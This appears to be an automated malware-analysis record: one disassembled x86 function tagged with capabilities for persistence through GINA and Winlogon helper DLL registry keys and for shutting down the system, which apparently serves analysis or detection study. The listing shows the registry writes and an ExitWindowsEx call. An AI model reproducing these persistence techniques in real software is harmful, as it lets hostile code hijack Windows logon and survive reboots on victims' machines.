Function at 0x41806c
Capabilities:
Persist via ginadll registry key
Persist via winlogon helper dll registry key
Shutdown system

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x15c
push 0
push 0
dec ecx
jne 0x418074
push ebx
push esi
push edi
xor eax, eax
push ebp
push 0x41871d
push dword fs:[eax]
mov dword fs:[eax], esp
xor edx, edx
push ebp
push 0x4186ed
push dword fs:[edx]
mov dword fs:[edx], esp
mov dl, 1
mov eax, dword [0x40aba0]
call fcn.00403544
mov dword [ebp - 0x14], eax
mov dl, 1
mov eax, dword [0x40aba0]
call fcn.00403544
mov dword [ebp - 0x18], eax
mov dl, 1
mov eax, dword [0x40aba0]
call fcn.00403544
mov dword [ebp - 0x1c], eax
xor edx, edx
push ebp
push 0x4186dc
push dword fs:[edx]
mov dword fs:[edx], esp
push dword [0x428b0c]
push dword [0x428b08]
push dword [0x428ae4]
push dword [0x428ae0]
lea eax, [ebp - 0x18]
mov edx, dword [0x42790c]
call fcn.0041708c
mov eax, dword [ebp - 0x18]
call fcn.0040ac2c
mov dword [ebp - 0xc], eax
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0xc], 0
jle 0x4186aa
xor ecx, ecx
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x18]
mov ebx, dword [eax]
call dword [ebx + 0x10]
lea edx, [ebp - 0x7b8]
mov ecx, 0x798
mov eax, dword [ebp - 0x18]
call fcn.0040ad60
lea eax, [ebp - 0x7b8]
call fcn.00417a24
lea eax, [ebp - 0x6b4]
mov edx, 0x427b28
xor ecx, ecx
mov cl, byte [eax]
inc ecx
call fcn.00402c5c
je 0x418184
lea eax, [ebp - 0x6b4]
mov edx, 0x41872c
xor ecx, ecx
mov cl, byte [eax]
inc ecx
call fcn.00402c5c
je 0x418184
cmp byte [ebp - 0x6b4], 0
je 0x418184
cmp byte [0x427b28], 0
jne case.0x4181cb.0
lea eax, [ebp - 0x7b4]
mov edx, 0x418738
xor ecx, ecx
mov cl, byte [eax]
inc ecx
call fcn.00402c5c
je 0x4181b6
lea eax, [ebp - 0x7b4]
mov edx, 0x427928
xor ecx, ecx
mov cl, byte [eax]
inc ecx
call fcn.00402c5c
jne case.0x4181cb.0
mov eax, dword [ebp - 0x7b8]
cmp eax, 0x18
ja case.0x4181cb.0
mov al, byte [eax + 0x4181d2]
jmp dword [eax*4 + 0x4181eb]
mov eax, 0x418754
call fcn.0041c958
test al, al
je case.0x4181cb.0
lea eax, [ebp - 0xabc]
call fcn.0041e838
lea eax, [ebp - 0xabc]
mov edx, 0x41877c
call fcn.004042b4
mov eax, dword [ebp - 0xabc]
call fcn.0041c020
mov byte [0x428a2b], 1
push 0
push 0
push 1
mov eax, dword [0x42790c]
push eax
push 0x1103
xor ecx, ecx
xor edx, edx
mov eax, 4
call fcn.0041e3fc
jmp case.0x4181cb.0
mov ecx, 0x418754
mov edx, 0x418798
mov eax, 0x80000002
call fcn.00410e74
mov ecx, 0x4187e0
mov edx, 0x4187f4
mov eax, 0x80000002
call fcn.00410dd8
mov ecx, 0x4187e0
mov edx, 0x418850
mov eax, 0x80000002
call fcn.00410dd8
mov ecx, 0x4188a8
mov edx, 0x4188bc
mov eax, 0x80000002
call fcn.00410dd8
mov eax, 0x418918
call fcn.00417834
test al, al
je case.0x4181cb.0
push 0
push 2
call sub.user32.dll_ExitWindowsEx
jmp case.0x4181cb.0
cmp byte [ebp - 0x5b4], 0
je 0x41834e
lea eax, [ebp - 0xac0]
lea edx, [ebp - 0x5b4]
call fcn.00404250
mov eax, dword [ebp - 0xac0]
call fcn.00410798
cmp eax, dword [0x428a40]
je 0x41834e
lea eax, [ebp - 0xac4]
lea edx, [ebp - 0x5b4]
call fcn.00404250
mov eax, dword [ebp - 0xac4]
call fcn.00410798
mov ebx, eax
mov dword [0x428a40], ebx
push 0
push 0
push 0
mov eax, dword [0x42790c]
push eax
push 0x1118
mov ecx, ebx
xor edx, edx
mov eax, 2
call fcn.0041e3fc
cmp byte [ebp - 0x4b4], 0
je case.0x4181cb.0
lea eax, [ebp - 0xac8]
lea edx, [ebp - 0x4b4]
call fcn.00404250
mov eax, dword [ebp - 0xac8]
call fcn.00410798
cmp eax, dword [0x428a44]
je case.0x4181cb.0
lea eax, [ebp - 0xacc]
lea edx, [ebp - 0x4b4]
call fcn.00404250
mov eax, dword [ebp - 0xacc]
call fcn.00410798
mov dword [0x428a44], eax
push 0
push 0
push 0
mov eax, dword [0x42790c]
push eax
push 0x111c
lea eax, [ebp - 0xad0]
lea edx, [ebp - 0x4b4]
call fcn.00404250
mov eax, dword [ebp - 0xad0]
call fcn.00410798
mov ecx, eax
xor edx, edx
mov eax, 2
call fcn.0041e3fc
jmp case.0x4181cb.0
cmp byte [0x425dc8], 0
je case.0x4181cb.0
cmp byte [0x425dcc], 0
jne case.0x4181cb.0
mov byte [0x425dcc], 1
push 0
push 0
lea eax, [ebp - 4]
push eax
mov ecx, 0x417ffc
xor edx, edx
xor eax, eax
call fcn.00403fc8
jmp case.0x4181cb.0
mov eax, dword [0x428a58]
cmp eax, dword [ebp - 0x34]
je case.0x4181cb.0
lea eax, [ebp - 8]
call fcn.00417e44
mov eax, dword [ebp - 0x34]
mov dword [0x428a58], eax
push 0
push 0
push 0
mov edx, dword [0x42790c]
push edx
push 0x1130
mov ecx, eax
xor edx, edx
mov eax, 2
call fcn.0041e3fc
push 0x418934
push dword [ebp - 8]
push 0x418958
lea eax, [ebp - 0xad4]
mov edx, 3
call fcn.0040436c
mov edx, dword [ebp - 0xad4]
lea eax, [ebp - 0x1c]
call fcn.00417c4c
lea eax, [ebp - 0x1c]
mov edx, 0x418968
call fcn.00417c4c
lea eax, [ebp - 0x1c]
mov edx, 0x4189a4
call fcn.00417c4c
lea eax, [ebp - 0x1c]
mov edx, 0x4189e0
call fcn.00417c4c
lea eax, [ebp - 0x1c]
mov edx, 0x418a1c
call fcn.00417c4c
lea eax, [ebp - 0x1c]
mov edx, 0x418a58
call fcn.00417c4c
lea eax, [ebp - 0x1c]
mov edx, 0x418a94
call fcn.00417c4c
lea eax, [ebp - 0x1c]
mov edx, 0x418ad0
call fcn.00417c4c
lea eax, [ebp - 0x1c]
mov edx, 0x418b08
call fcn.00417c4c
lea eax, [ebp - 0x1c]
mov edx, 0x418b40
call fcn.00417c4c
lea eax, [ebp - 0x1c]
mov edx, 0x418b84
call fcn.00417c4c
lea eax, [ebp - 0x1c]
mov edx, 0x418bc4
call fcn.00417c4c
lea eax, [ebp - 0x1c]
mov edx, 0x418c00
call fcn.00417c4c
lea eax, [ebp - 0x1c]
mov edx, 0x418c3c
call fcn.00417c4c
xor ecx, ecx
mov edx, 0x418c78
mov eax, 0x80000002
call fcn.00410f10
mov esi, 0x418cd8
lea edi, [ebp - 0xab8]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea eax, [ebp - 0xad8]
call fcn.00417f54
mov edx, dword [ebp - 0xad8]
lea eax, [ebp - 0x9b8]
mov ecx, 0xff
call fcn.00404288
lea eax, [ebp - 0x8b8]
mov edx, dword [ebp - 8]
mov ecx, 0xff
call fcn.00404288
lea eax, [ebp - 0xab8]
call fcn.004167c0
jmp case.0x4181cb.0
cmp byte [0x425dc8], 0
je case.0x4181cb.0
cmp byte [0x425dd0], 0
jne case.0x4181cb.0
mov byte [0x425dd0], 1
mov eax, 0x42a624
lea edx, [ebp - 0x5b4]
call fcn.00404250
xor eax, eax
push ebp
push 0x418601
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xadc]
lea edx, [ebp - 0x4b4]
call fcn.00404250
mov eax, dword [ebp - 0xadc]
call fcn.00407754
mov dword [0x42a628], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x41860b
push 0
push 0
lea eax, [ebp - 4]
push eax
mov ecx, 0x418018
xor edx, edx
xor eax, eax
call fcn.00403fc8
jmp case.0x4181cb.0
cmp byte [ebp - 0x5b4], 0
je case.0x4181cb.0
lea eax, [ebp - 0x5b4]
mov edx, 0x427a28
xor ecx, ecx
mov cl, byte [eax]
inc ecx
call fcn.00402c5c
je case.0x4181cb.0
mov eax, 0x427a28
lea edx, [ebp - 0x5b4]
call fcn.00402c34
push 0
push 0
push 0
mov eax, dword [0x42790c]
push eax
push pe_nt_image_headers32
lea eax, [ebp - 0xae0]
mov edx, 0x427a28
call fcn.00404250
mov edx, dword [ebp - 0xae0]
xor ecx, ecx
mov eax, 1
call fcn.0041e3fc
add dword [ebp - 0x10], 0x798
mov eax, dword [ebp - 0x138]
add dword [ebp - 0x10], eax
sub dword [ebp - 0xc], 0x798
sub dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jg 0x418115
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x18]
mov ebx, dword [eax]
call dword [ebx + 0x10]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4186e3
mov eax, dword [ebp - 0x18]
call fcn.00403574
mov eax, dword [ebp - 0x14]
call fcn.00403574
mov eax, dword [ebp - 0x1c]
call fcn.00403574
ret